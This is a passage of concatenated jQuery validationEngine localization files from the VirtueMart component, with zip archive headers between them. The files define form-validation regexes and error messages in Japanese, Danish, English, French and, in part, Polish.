http://tomotomoSnippet.blogspot.com/ * Licenced under the MIT Licence *******************************************************************/ (function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* 必須項目です", "alertTextCheckboxMultiple": "* 選択してください", "alertTextCheckboxe": "* チェックボックスをチェックしてください" }, "minSize": { "regex": "none", "alertText": "* ", "alertText2": "文字以上にしてください" }, "maxSize": { "regex": "none", "alertText": "* ", "alertText2": "文字以下にしてください" }, "min": { "regex": "none", "alertText": "* ", "alertText2": " 以上の数値にしてください" }, "max": { "regex": "none", "alertText": "* ", "alertText2": " 以下の数値にしてください" }, "past": { "regex": "none", "alertText": "* ", "alertText2": " より過去の日付にしてください" }, "future": { "regex": "none", "alertText": "* ", "alertText2": " より最近の日付にしてください" }, "maxCheckbox": { "regex": "none", "alertText": "* チェックしすぎです" }, "minCheckbox": { "regex": "none", "alertText": "* ", "alertText2": "つ以上チェックしてください" }, "equals": { "regex": "none", "alertText": "* 入力された値が一致しません" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* 電話番号が正しくありません" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* メールアドレスが正しくありません" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* 整数を半角で入力してください" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* 数値を半角で入力してください" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* 日付は半角で YYYY-MM-DD の形式で入力してください" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* IPアドレスが正しくありません" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* URLが正しくありません" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* 半角数字で入力してください" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* 半角アルファベットで入力してください" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* 半角英数で入力してください" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* This user is already taken", "alertTextLoad": "* Validating, please wait" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* This name is already taken", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* This name is available", // speaks by itself "alertTextLoad": "* Validating, please wait" }, "validate2fields": { "alertText": "* 『HELLO』と入力してください" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKGy>\4RR@com_virtuemart/assets/js/languages/jquery.validationEngine-da.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Dette felt kræves udfyldt", "alertTextCheckboxMultiple": "* Vælg venligst en af mulighederne", "alertTextCheckboxe": "* Dette felt er krævet" }, "minSize": { "regex": "none", "alertText": "* Minimum ", "alertText2": " tegn tilladt" }, "maxSize": { "regex": "none", "alertText": "* Maksimum ", "alertText2": " tegn tilladt" }, "min": { "regex": "none", "alertText": "* Den mindste værdi er " }, "max": { "regex": "none", "alertText": "* Den maksimale værdi er " }, "past": { "regex": "none", "alertText": "* Datoen skal være før " }, "future": { "regex": "none", "alertText": "* Datoen skal være efter " }, "maxCheckbox": { "regex": "none", "alertText": "* Antallet af valg overskredet" }, "minCheckbox": { "regex": "none", "alertText": "* Vælg venligst ", "alertText2": " muligheder" }, "equals": { "regex": "none", "alertText": "* Felterne er ikke ens" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Ikke gyldig telefonnummer" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Ikke gyldig e-mail" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Ikke et korrekt tal" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Ugyldig decimaltal" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Ugyldig dato, skal være i formatet ÅÅÅÅ-MM-DD" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Ugyldig IP adresse" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Ugyldig URL" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Kun tal" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Kun bogstaver" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Ingen specialtegn tilladt" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Denne bruger er allerede taget", "alertTextLoad": "* Kontrollere, vent venligst" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Dette navn er allerede taget", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Dette navn er ledig", // speaks by itself "alertTextLoad": "* Kontrollere, vent venligst" }, "validate2fields": { "alertText": "* Indsæt venligst HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery);PKGy>\G @com_virtuemart/assets/js/languages/jquery.validationEngine-en.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* This field is required", "alertTextCheckboxMultiple": "* Please select an option", "alertTextCheckboxe": "* This checkbox is required" }, "minSize": { "regex": "none", "alertText": "* Minimum ", "alertText2": " characters allowed" }, "maxSize": { "regex": "none", "alertText": "* Maximum ", "alertText2": " characters allowed" }, "min": { "regex": "none", "alertText": "* Minimum value is " }, "max": { "regex": "none", "alertText": "* Maximum value is " }, "past": { "regex": "none", "alertText": "* Date prior to " }, "future": { "regex": "none", "alertText": "* Date past " }, "maxCheckbox": { "regex": "none", "alertText": "* Maximum ", "alertText2": " options allowed" }, "minCheckbox": { "regex": "none", "alertText": "* Please select ", "alertText2": " options" }, "equals": { "regex": "none", "alertText": "* Fields do not match" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Invalid phone number" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Invalid email address" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Not a valid integer" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Invalid floating decimal number" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Invalid date, must be in YYYY-MM-DD format" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Invalid IP address" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Invalid URL" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Numbers only" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Letters only" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* No special characters allowed" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* This user is already taken", "alertTextLoad": "* Validating, please wait" }, "ajaxUserCallPhp": { "url": "phpajax/ajaxValidateFieldUser.php", // you may want to pass extra data on the ajax call "extraData": "name=eric", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* This username is available", "alertText": "* This user is already taken", "alertTextLoad": "* Validating, please wait" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* This name is already taken", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* This name is available", // speaks by itself "alertTextLoad": "* Validating, please wait" }, "ajaxNameCallPhp": { // remote json service location "url": "phpajax/ajaxValidateFieldName.php", // error "alertText": "* This name is already taken", // speaks by itself "alertTextLoad": "* Validating, please wait" }, "validate2fields": { "alertText": "* Please input HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery);PKGy>\ѫ67||@com_virtuemart/assets/js/languages/jquery.validationEngine-fr.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { "regex": "none", "alertText": "* Ce champs est requis", "alertTextCheckboxMultiple": "* Choisir une option", "alertTextCheckboxe": "* Cette option est requise" }, "minSize": { "regex": "none", "alertText": "* Minimum ", "alertText2": " caracteres requis" }, "maxSize": { "regex": "none", "alertText": "* Maximum ", "alertText2": " caracteres requis" }, "min": { "regex": "none", "alertText": "* Valeur minimum requise " }, "max": { "regex": "none", "alertText": "* Valeur maximum requise " }, "past": { "regex": "none", "alertText": "* Date antérieure au " }, "future": { "regex": "none", "alertText": "* Date postérieure au " }, "maxCheckbox": { "regex": "none", "alertText": "* Nombre max de choix excédé" }, "minCheckbox": { "regex": "none", "alertText": "* Veuillez choisir ", "alertText2": " options" }, "equals": { "regex": "none", "alertText": "* Votre champs n'est pas identique" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Numéro de téléphone invalide" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Adresse email invalide" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Nombre entier invalide" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Nombre flottant invalide" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Date invalide, format YYYY-MM-DD requis" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Adresse IP invalide" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* URL invalide" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Seules les chiffres sont acceptées" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Seules les lettres sont acceptées" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Aucun caractère spécial n'est accepté" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", "extraData": "name=eric", "alertTextLoad": "* Chargement, veuillez attendre", "alertText": "* Ce nom est déjà pris" }, "ajaxNameCall": { "url": "ajaxValidateFieldName", "alertText": "* Ce nom est déjà pris", "alertTextOk": "*Ce nom est disponible", "alertTextLoad": "* Chargement, veuillez attendre" }, "validate2fields": { "alertText": "Veuillez taper le mot HELLO" }, "time": { "regex": /^([1-9]|1[0-2]):[0-5]\d$/, "alertText": "* Veuillez saisir une heurre sous la forme HH-MM" }, "shortText": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Maximum de 255 caractère ", "alertText2": "* sans Balise HTML " } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKGy>\^@com_virtuemart/assets/js/languages/jquery.validationEngine-pl.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Pole wymagane", "alertTextCheckboxMultiple": "* Proszę wybrać opcję", "alertTextCheckboxe": "* Pole wymagane" }, "minSize": { "regex": "none", "alertText": "* Minimalna liczba znaków to ", "alertText2": "" }, "maxSize": { "regex": "none", "alertText": "* Maksymalna liczba znaków to ", "alertText2": "" }, "min": { "regex": "none", "alertText": "* Najmniejsza wartość to " }, "max": { "regex": "none", "alertText": "* Największa wartość to " }, "past": { "regex": "none", "alertText": "* Data musi być wcześniejsza niż " }, "future": { "regex": "none", "alertText": "* Data musi być późniejsza niż " }, "maxCheckbox": { "regex": "none", "alertText": "* Przekroczona maksymalna liczba opcji" }, "minCheckbox": { "regex": "none", "alertText": "* Minimalna liczba opcji to ", "alertText2": "" }, "equals": { "regex": "none", "alertText": "* Pola nie są jednakowe" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ 